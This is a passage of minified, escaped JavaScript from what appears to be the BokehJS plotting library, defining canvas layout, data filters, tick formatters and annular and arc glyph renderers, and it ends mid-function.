i=u.get_scale_ratio(this.ctx,this.model.use_hidpi,this.model.output_backend);this.model.pixel_ratio=i,this.canvas_el.style.width=t+\\\"px\\\",this.canvas_el.style.height=e+\\\"px\\\",this.canvas_el.setAttribute(\\\"width\\\",\\\"\\\"+t*i),this.canvas_el.setAttribute(\\\"height\\\",\\\"\\\"+e*i),a.logger.debug(\\\"Rendering CanvasView with width: \\\"+t+\\\", height: \\\"+e+\\\", pixel ratio: \\\"+i)},t.prototype.set_dims=function(t){var e=t[0],i=t[1];e<=0||i<=0||(e!=this.model._width.value&&(null!=this._width_constraint&&this.solver.has_constraint(this._width_constraint)&&this.solver.remove_constraint(this._width_constraint),this._width_constraint=s.EQ(this.model._width,-e),this.solver.add_constraint(this._width_constraint)),i!=this.model._height.value&&(null!=this._height_constraint&&this.solver.has_constraint(this._height_constraint)&&this.solver.remove_constraint(this._height_constraint),this._height_constraint=s.EQ(this.model._height,-i),this.solver.add_constraint(this._height_constraint)),this.solver.update_variables())},t}(o.DOMView);i.CanvasView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Canvas\\\",this.prototype.default_view=c,this.internal({map:[l.Boolean,!1],use_hidpi:[l.Boolean,!0],pixel_ratio:[l.Number,1],output_backend:[l.OutputBackend,\\\"canvas\\\"]})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.Canvas=_).initClass()},function(t,e,i){var n=t(391),a=t(190),l=t(192),h=t(193),u=t(184),c=t(180),_=t(181),r=t(11),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CartesianFrame\\\",this.internal({extra_x_ranges:[o.Any,{}],extra_y_ranges:[o.Any,{}],x_range:[o.Instance],y_range:[o.Instance],x_scale:[o.Instance],y_scale:[o.Instance]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._configure_scales()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._configure_scales()})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t.prototype.get_editables=function(){return e.prototype.get_editables.call(this).concat([this._width,this._height])},t.prototype.map_to_screen=function(t,e,i,n){void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\");var r=this.xscales[i].v_compute(t),o=this.yscales[n].v_compute(e);return[r,o]},t.prototype._get_ranges=function(t,e){var i={};if(i.default=t,null!=e)for(var n in e)i[n]=e[n];return i},t.prototype._get_scales=function(t,e,i){var n={};for(var r in e){var o=e[r];if(o instanceof c.DataRange1d||o instanceof u.Range1d){if(!(t instanceof h.LogScale||t instanceof l.LinearScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);if(t instanceof a.CategoricalScale)throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type)}if(o instanceof _.FactorRange&&!(t instanceof a.CategoricalScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);t instanceof h.LogScale&&o instanceof c.DataRange1d&&(o.scale_hint=\\\"log\\\");var s=t.clone();s.setv({source_range:o,target_range:i}),n[r]=s}return n},t.prototype._configure_frame_ranges=function(){this._h_target=new u.Range1d({start:this._left.value,end:this._right.value}),this._v_target=new u.Range1d({start:this._bottom.value,end:this._top.value})},t.prototype._configure_scales=function(){this._configure_frame_ranges(),this._x_ranges=this._get_ranges(this.x_range,this.extra_x_ranges),this._y_ranges=this._get_ranges(this.y_range,this.extra_y_ranges),this._xscales=this._get_scales(this.x_scale,this._x_ranges,this._h_target),this._yscales=this._get_scales(this.y_scale,this._y_ranges,this._v_target)},t.prototype.update_scales=function(){for(var t in this._configure_frame_ranges(),this._xscales){var e=this._xscales[t];e.target_range=this._h_target}for(var i in this._yscales){var e=this._yscales[i];e.target_range=this._v_target}},Object.defineProperty(t.prototype,\\\"x_ranges\\\",{get:function(){return this._x_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_ranges\\\",{get:function(){return this._y_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xscales\\\",{get:function(){return this._xscales},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yscales\\\",{get:function(){return this._yscales},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.CartesianFrame=s).initClass()},function(t,e,i){var n=t(91);i.Canvas=n.Canvas;var r=t(92);i.CartesianFrame=r.CartesianFrame},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CumSum\\\",this.define({field:[o.String],include_zero:[o.Boolean,!1]})},t.prototype._v_compute=function(t){var e=new Float64Array(t.get_length()||0),i=t.data[this.field],n=this.include_zero?1:0;e[0]=this.include_zero?0:i[0];for(var r=1;r<e.length;r++)e[r]=e[r-1]+i[r-n];return e},t}(r.Expression);(i.CumSum=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(i){function t(t){var e=i.call(this,t)||this;return e._connected={},e._result={},e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Expression\\\"},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._connected={},this._result={}},t.prototype.v_compute=function(t){var e=this;null==this._connected[t.id]&&(this.connect(t.change,function(){return delete e._result[t.id]}),this.connect(t.patching,function(){return delete e._result[t.id]}),this.connect(t.streaming,function(){return delete e._result[t.id]}),this._connected[t.id]=!0);var i=this._result[t.id];return null==i&&(this._result[t.id]=i=this._v_compute(t)),i},t}(r.Model);(i.Expression=o).initClass()},function(t,e,i){var n=t(95);i.Expression=n.Expression;var r=t(97);i.Stack=r.Stack;var o=t(94);i.CumSum=o.CumSum},function(t,e,i){var n=t(391),r=t(95),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Stack\\\",this.define({fields:[o.Array,[]]})},t.prototype._v_compute=function(t){for(var e=new Float64Array(t.get_length()||0),i=0,n=this.fields;i<n.length;i++)for(var r=n[i],o=0;o<t.data[r].length;o++){var s=t.data[r][o];e[o]+=s}return e},t}(r.Expression);(i.Stack=s).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=t(44),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BooleanFilter\\\",this.define({booleans:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.booleans;return null!=e&&0<e.length?a.all(e,l.isBoolean)?(e.length!==t.get_length()&&s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": length of booleans doesn't match data source\\\"),a.range(0,e.length).filter(function(t){return!0===e[t]})):(s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans should be array of booleans, defaulting to no filtering\\\"),null):(null!=e&&0==e.length?s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans is empty, defaulting to no filtering\\\"):s.logger.warn(\\\"BooleanFilter \\\"+this.id+\\\": booleans was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.BooleanFilter=h).initClass()},function(i,t,e){var n=i(391),r=i(100),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSFilter\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"source\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.compute_indices=function(t){return this.filter=this.func.apply(this,this.values.concat([t,i,{}])),e.prototype.compute_indices.call(this,t)},t}(r.Filter);(e.CustomJSFilter=l).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(21),l=t(14),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Filter\\\",this.define({filter:[o.Array,null]})},t.prototype.compute_indices=function(t){var e=this.filter;return null!=e&&0<=e.length?s.isArrayOf(e,s.isBoolean)?a.range(0,e.length).filter(function(t){return!0===e[t]}):s.isArrayOf(e,s.isInteger)?e:(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter should either be array of only booleans or only integers, defaulting to no filtering\\\"),null):(l.logger.warn(\\\"Filter \\\"+this.id+\\\": filter was not set to be an array, defaulting to no filtering\\\"),null)},t}(r.Model);(i.Filter=h).initClass()},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(21),l=function(i){function t(t){var e=i.call(this,t)||this;return e.indices=null,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GroupFilter\\\",this.define({column_name:[o.String],group:[o.String]})},t.prototype.compute_indices=function(t){var e=this,i=t.get_column(this.column_name);return null==i?(s.logger.warn(\\\"group filter: groupby column not found in data source\\\"),null):(this.indices=a.range(0,t.get_length()||0).filter(function(t){return i[t]===e.group}),0===this.indices.length&&s.logger.warn(\\\"group filter: group '\\\"+this.group+\\\"' did not match any values in column '\\\"+this.column_name+\\\"'\\\"),this.indices)},t}(r.Filter);(i.GroupFilter=l).initClass()},function(t,e,i){var n=t(98);i.BooleanFilter=n.BooleanFilter;var r=t(99);i.CustomJSFilter=r.CustomJSFilter;var o=t(100);i.Filter=o.Filter;var s=t(101);i.GroupFilter=s.GroupFilter;var a=t(103);i.IndexFilter=a.IndexFilter},function(t,e,i){var n=t(391),r=t(100),o=t(15),s=t(14),a=t(44),l=t(21),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IndexFilter\\\",this.define({indices:[o.Array,null]})},t.prototype.compute_indices=function(t){return null!=this.indices&&0<=this.indices.length?l.all(this.indices,a.isInteger)?this.indices:(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices should be array of integers, defaulting to no filtering\\\"),null):(s.logger.warn(\\\"IndexFilter \\\"+this.id+\\\": indices was not set, defaulting to no filtering\\\"),null)},t}(r.Filter);(i.IndexFilter=h).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(15),f=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e.last_precision=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BasicTickFormatter\\\",this.define({precision:[o.Any,\\\"auto\\\"],use_scientific:[o.Bool,!0],power_limit_high:[o.Number,5],power_limit_low:[o.Number,-3]})},Object.defineProperty(t.prototype,\\\"scientific_limit_low\\\",{get:function(){return Math.pow(10,this.power_limit_low)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"scientific_limit_high\\\",{get:function(){return Math.pow(10,this.power_limit_high)},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){if(0==t.length)return[];var i=0;2<=t.length&&(i=Math.abs(t[1]-t[0])/1e4);var n=!1;if(this.use_scientific)for(var r=0,o=t;r<o.length;r++){var s=o[r],a=Math.abs(s);if(i<a&&(a>=this.scientific_limit_high||a<=this.scientific_limit_low)){n=!0;break}}var l=new Array(t.length),h=this.precision;if(null==h||f.isNumber(h))if(n)for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toExponential(h||void 0);else for(var u=0,c=t.length;u<c;u++)l[u]=t[u].toFixed(h||void 0).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\");else for(var _=this.last_precision,p=this.last_precision<=15;p?_<=15:15<=_;p?_++:_--){var d=!0;if(n){for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toExponential(_),0<u&&l[u]===l[u-1]){d=!1;break}if(d)break}else{for(var u=0,c=t.length;u<c;u++)if(l[u]=t[u].toFixed(_).replace(/(\\\\.[0-9]*?)0+$/,\\\"$1\\\").replace(/\\\\.$/,\\\"\\\"),0<u&&l[u]==l[u-1]){d=!1;break}if(d)break}if(d){this.last_precision=_;break}}return l},t}(r.TickFormatter);(i.BasicTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(113),o=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTickFormatter\\\"},t.prototype.doFormat=function(t,e){return o.copy(t)},t}(r.TickFormatter);(i.CategoricalTickFormatter=s).initClass()},function(t,e,i){var n=t(391),r=t(389),w=t(390),o=t(113),k=t(14),s=t(15),a=t(21),l=t(44);function S(t,e){if(l.isFunction(e))return e(t);var i,n=r.sprintf(\\\"$1%06d\\\",(i=t,Math.round(i/1e3%1*1e6)));return-1==(e=e.replace(/((^|[^%])(%%)*)%f/,n)).indexOf(\\\"%\\\")?e:w(t,e)}var C=[\\\"microseconds\\\",\\\"milliseconds\\\",\\\"seconds\\\",\\\"minsec\\\",\\\"minutes\\\",\\\"hourmin\\\",\\\"hours\\\",\\\"days\\\",\\\"months\\\",\\\"years\\\"],h=function(i){function t(t){var e=i.call(this,t)||this;return e.strip_leading_zeros=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DatetimeTickFormatter\\\",this.define({microseconds:[s.Array,[\\\"%fus\\\"]],milliseconds:[s.Array,[\\\"%3Nms\\\",\\\"%S.%3Ns\\\"]],seconds:[s.Array,[\\\"%Ss\\\"]],minsec:[s.Array,[\\\":%M:%S\\\"]],minutes:[s.Array,[\\\":%M\\\",\\\"%Mm\\\"]],hourmin:[s.Array,[\\\"%H:%M\\\"]],hours:[s.Array,[\\\"%Hh\\\",\\\"%H:%M\\\"]],days:[s.Array,[\\\"%m/%d\\\",\\\"%a%d\\\"]],months:[s.Array,[\\\"%m/%Y\\\",\\\"%b %Y\\\"]],years:[s.Array,[\\\"%Y\\\"]]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this._update_width_formats()},t.prototype._update_width_formats=function(){var n=+w(new Date),t=function(t){var e=t.map(function(t){return S(n,t).length}),i=a.sortBy(a.zip(e,t),function(t){var e=t[0];return e});return a.unzip(i)};this._width_formats={microseconds:t(this.microseconds),milliseconds:t(this.milliseconds),seconds:t(this.seconds),minsec:t(this.minsec),minutes:t(this.minutes),hourmin:t(this.hourmin),hours:t(this.hours),days:t(this.days),months:t(this.months),years:t(this.years)}},t.prototype._get_resolution_str=function(t,e){var i=1.1*t;switch(!1){case!(i<.001):return\\\"microseconds\\\";case!(i<1):return\\\"milliseconds\\\";case!(i<60):return 60<=e?\\\"minsec\\\":\\\"seconds\\\";case!(i<3600):return 3600<=e?\\\"hourmin\\\":\\\"minutes\\\";case!(i<86400):return\\\"hours\\\";case!(i<2678400):return\\\"days\\\";case!(i<31536e3):return\\\"months\\\";default:return\\\"years\\\"}},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=Math.abs(t[t.length-1]-t[0])/1e3,n=i/(t.length-1),r=this._get_resolution_str(n,i),o=this._width_formats[r],s=o[1][0],a=[],l=C.indexOf(r),h={},u=0,c=C;u<c.length;u++){var _=c[u];h[_]=0}h.seconds=5,h.minsec=4,h.minutes=4,h.hourmin=3,h.hours=3;for(var p=0,d=t;p<d.length;p++){var f=d[p],v=void 0,m=void 0;try{m=w(f,\\\"%Y %m %d %H %M %S\\\").split(/\\\\s+/).map(function(t){return parseInt(t,10)}),v=S(f,s)}catch(t){k.logger.warn(\\\"unable to format tick for timestamp value \\\"+f),k.logger.warn(\\\" - \\\"+t),a.push(\\\"ERR\\\");continue}for(var g=!1,y=l;0==m[h[C[y]]];){var b=void 0;if((y+=1)==C.length)break;if((\\\"minsec\\\"==r||\\\"hourmin\\\"==r)&&!g){if(\\\"minsec\\\"==r&&0==m[4]&&0!=m[5]||\\\"hourmin\\\"==r&&0==m[3]&&0!=m[4]){b=this._width_formats[C[l-1]][1][0],v=S(f,b);break}g=!0}b=this._width_formats[C[y]][1][0],v=S(f,b)}if(this.strip_leading_zeros){var x=v.replace(/^0+/g,\\\"\\\");x!=v&&isNaN(parseInt(x))&&(x=\\\"0\\\"+x),a.push(x)}else a.push(v)}return a},t}(o.TickFormatter);(i.DatetimeTickFormatter=h).initClass()},function(o,t,e){var i=o(391),n=o(113),r=o(15),s=o(32),a=o(38),l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"FuncTickFormatter\\\",this.define({args:[r.Any,{}],code:[r.String,\\\"\\\"],use_strict:[r.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_func=function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0,\\\"tick\\\",\\\"index\\\",\\\"ticks\\\"].concat(this.names,[\\\"require\\\",\\\"exports\\\",t])))},t.prototype.doFormat=function(t,e){var n=this,r=this._make_func().bind({});return t.map(function(t,e,i){return r.apply(void 0,[t,e,i].concat(n.values,[o,{}]))})},t}(n.TickFormatter);(e.FuncTickFormatter=l).initClass()},function(t,e,i){var n=t(104);i.BasicTickFormatter=n.BasicTickFormatter;var r=t(105);i.CategoricalTickFormatter=r.CategoricalTickFormatter;var o=t(106);i.DatetimeTickFormatter=o.DatetimeTickFormatter;var s=t(107);i.FuncTickFormatter=s.FuncTickFormatter;var a=t(109);i.LogTickFormatter=a.LogTickFormatter;var l=t(110);i.MercatorTickFormatter=l.MercatorTickFormatter;var h=t(111);i.NumeralTickFormatter=h.NumeralTickFormatter;var u=t(112);i.PrintfTickFormatter=u.PrintfTickFormatter;var c=t(113);i.TickFormatter=c.TickFormatter},function(t,e,i){var n=t(391),r=t(113),o=t(104),s=t(14),a=t(15),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTickFormatter\\\",this.define({ticker:[a.Instance,null]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.basic_formatter=new o.BasicTickFormatter,null==this.ticker&&s.logger.warn(\\\"LogTickFormatter not configured with a ticker, using default base of 10 (labels will be incorrect if ticker base is not 10)\\\")},t.prototype.doFormat=function(t,e){if(0==t.length)return[];for(var i=null!=this.ticker?this.ticker.base:10,n=!1,r=new Array(t.length),o=0,s=t.length;o<s;o++)if(r[o]=i+\\\"^\\\"+Math.round(Math.log(t[o])/Math.log(i)),0<o&&r[o]==r[o-1]){n=!0;break}return n?this.basic_formatter.doFormat(t,e):r},t}(r.TickFormatter);(i.LogTickFormatter=l).initClass()},function(t,e,i){var n=t(391),r=t(104),o=t(15),h=t(33),s=function(l){function t(t){return l.call(this,t)||this}return n.__extends(t,l),t.initClass=function(){this.prototype.type=\\\"MercatorTickFormatter\\\",this.define({dimension:[o.LatLon]})},t.prototype.doFormat=function(t,e){if(null==this.dimension)throw new Error(\\\"MercatorTickFormatter.dimension not configured\\\");if(0==t.length)return[];var i=t.length,n=new Array(i);if(\\\"lon\\\"==this.dimension)for(var r=0;r<i;r++){var o=h.wgs84_mercator.inverse([t[r],e.loc])[0];n[r]=o}else for(var r=0;r<i;r++){var s=h.wgs84_mercator.inverse([e.loc,t[r]]),a=s[1];n[r]=a}return l.prototype.doFormat.call(this,n,e)},t}(r.BasicTickFormatter);(i.MercatorTickFormatter=s).initClass()},function(t,e,i){var n=t(391),o=t(361),r=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumeralTickFormatter\\\",this.define({format:[s.String,\\\"0,0\\\"],language:[s.String,\\\"en\\\"],rounding:[s.String,\\\"round\\\"]})},Object.defineProperty(t.prototype,\\\"_rounding_fn\\\",{get:function(){switch(this.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}},enumerable:!0,configurable:!0}),t.prototype.doFormat=function(t,e){var i=this.format,n=this.language,r=this._rounding_fn;return t.map(function(t){return o.format(t,i,n,r)})},t}(r.TickFormatter);(i.NumeralTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(389),o=t(113),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PrintfTickFormatter\\\",this.define({format:[s.String,\\\"%s\\\"]})},t.prototype.doFormat=function(t,e){var i=this;return t.map(function(t){return r.sprintf(i.format,t)})},t}(o.TickFormatter);(i.PrintfTickFormatter=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TickFormatter\\\"},t}(r.Model);(i.TickFormatter=o).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),z=t(9),s=t(15),P=t(31),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius,this._angle=new Float32Array(this._start_angle.length);for(var t=0,e=this._start_angle.length;t<e;t++)this._angle[t]=this._end_angle[t]-this._start_angle[t]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._start_angle,s=i._angle,a=i.sinner_radius,l=i.souter_radius,h=this.model.properties.direction.value(),u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+a[_]+l[_]+o[_]+s[_])||(t.translate(n[_],r[_]),t.rotate(o[_]),t.moveTo(l[_],0),t.beginPath(),t.arc(0,0,l[_],0,s[_],h),t.rotate(s[_]),t.lineTo(a[_],0),t.arc(0,0,a[_],0,-s[_],!h),t.closePath(),t.rotate(-s[_]-o[_]),t.translate(-n[_],-r[_]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,_),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,_),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=z.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}for(var C=this.model.properties.direction.value(),T=[],A=0,E=f;A<E.length;A++){var M=E[A],y=M[0],S=M[1],O=Math.atan2(l-this.sy[y],a-this.sx[y]);P.angle_between(-O,-this._start_angle[y],-this._end_angle[y],C)&&T.push([y,S])}return z.create_hit_test_result_from_hits(T)},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e.prototype._scenterxy=function(t){var e=(this.sinner_radius[t]+this.souter_radius[t])/2,i=(this._start_angle[t]+this._end_angle[t])/2;return{x:this.sx[t]+e*Math.cos(i),y:this.sy[t]+e*Math.sin(i)}},e.prototype.scenterx=function(t){return this._scenterxy(t).x},e.prototype.scentery=function(t){return this._scenterxy(t).y},e}(r.XYGlyphView);i.AnnularWedgeView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AnnularWedge\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],inner_radius:[s.DistanceSpec],outer_radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.AnnularWedge=l).initClass()},function(t,e,i){var n=t(391),r=t(146),C=t(9),o=t(15),p=t(28),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.inner_radius.units?this.sinner_radius=this.sdist(this.renderer.xscale,this._x,this._inner_radius):this.sinner_radius=this._inner_radius,\\\"data\\\"==this.model.properties.outer_radius.units?this.souter_radius=this.sdist(this.renderer.xscale,this._x,this._outer_radius):this.souter_radius=this._outer_radius},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sinner_radius,s=i.souter_radius,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){if(this.visuals.fill.doit){if(this.visuals.fill.set_vectorize(t,h),t.beginPath(),p.is_ie)for(var u=0,c=[!1,!0];u<c.length;u++){var _=c[u];t.arc(n[h],r[h],o[h],0,Math.PI,_),t.arc(n[h],r[h],s[h],Math.PI,0,!_)}else t.arc(n[h],r[h],o[h],0,2*Math.PI,!0),t.arc(n[h],r[h],s[h],2*Math.PI,0,!1);t.fill()}this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,h),t.beginPath(),t.arc(n[h],r[h],o[h],0,2*Math.PI),t.moveTo(n[h]+s[h],r[h]),t.arc(n[h],r[h],s[h],0,2*Math.PI),t.stroke())}}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.renderer.xscale.invert(a),u=this.renderer.yscale.invert(l);if(\\\"data\\\"==this.model.properties.outer_radius.units)n=h-this.max_outer_radius,o=h+this.max_outer_radius,r=u-this.max_outer_radius,s=u+this.max_outer_radius;else{var c=a-this.max_outer_radius,_=a+this.max_outer_radius;e=this.renderer.xscale.r_invert(c,_),n=e[0],o=e[1];var p=l-this.max_outer_radius,d=l+this.max_outer_radius;i=this.renderer.yscale.r_invert(p,d),r=i[0],s=i[1]}for(var f=[],v=C.validate_bbox_coords([n,o],[r,s]),m=0,g=this.index.indices(v);m<g.length;m++){var y=g[m],b=Math.pow(this.souter_radius[y],2),x=Math.pow(this.sinner_radius[y],2),w=this.renderer.xscale.r_compute(h,this._x[y]),c=w[0],_=w[1],k=this.renderer.yscale.r_compute(u,this._y[y]),p=k[0],d=k[1],S=Math.pow(c-_,2)+Math.pow(p-d,2);S<=b&&x<=S&&f.push([y,S])}return C.create_hit_test_result_from_hits(f)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=.5*Math.min(Math.abs(o-n),Math.abs(s-r)),c=new Array(a);c[i]=.4*u;var _=new Array(a);_[i]=.8*u,this._render(t,[i],{sx:l,sy:h,sinner_radius:c,souter_radius:_})},e}(r.XYGlyphView);i.AnnulusView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annulus\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({inner_radius:[o.DistanceSpec],outer_radius:[o.DistanceSpec]})},t}(r.XYGlyph);(i.Annulus=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.radius.units?this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius):this.sradius=this._radius},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sradius,s=i._start_angle,a=i._end_angle;if(this.visuals.line.doit)for(var l=this.model.properties.direction.value(),h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c])||(t.beginPath(),t.arc(n[c],r[c],o[c],s[c],a[c],l),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.ArcView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arc\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({direction:[s.Direction,\\\"anticlock\\\"],radius:[s.DistanceSpec],start_angle:[s.AngleSpec],end_angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Arc=l).initClass()},function(t,e,i){var n=t(391),l=t(37),r=t(123),o=t(143);function h(t,e,i,n,r,o,s,a){for(var l=[],h=[[],[]],u=0;u<=2;u++){var c=void 0,_=void 0,p=void 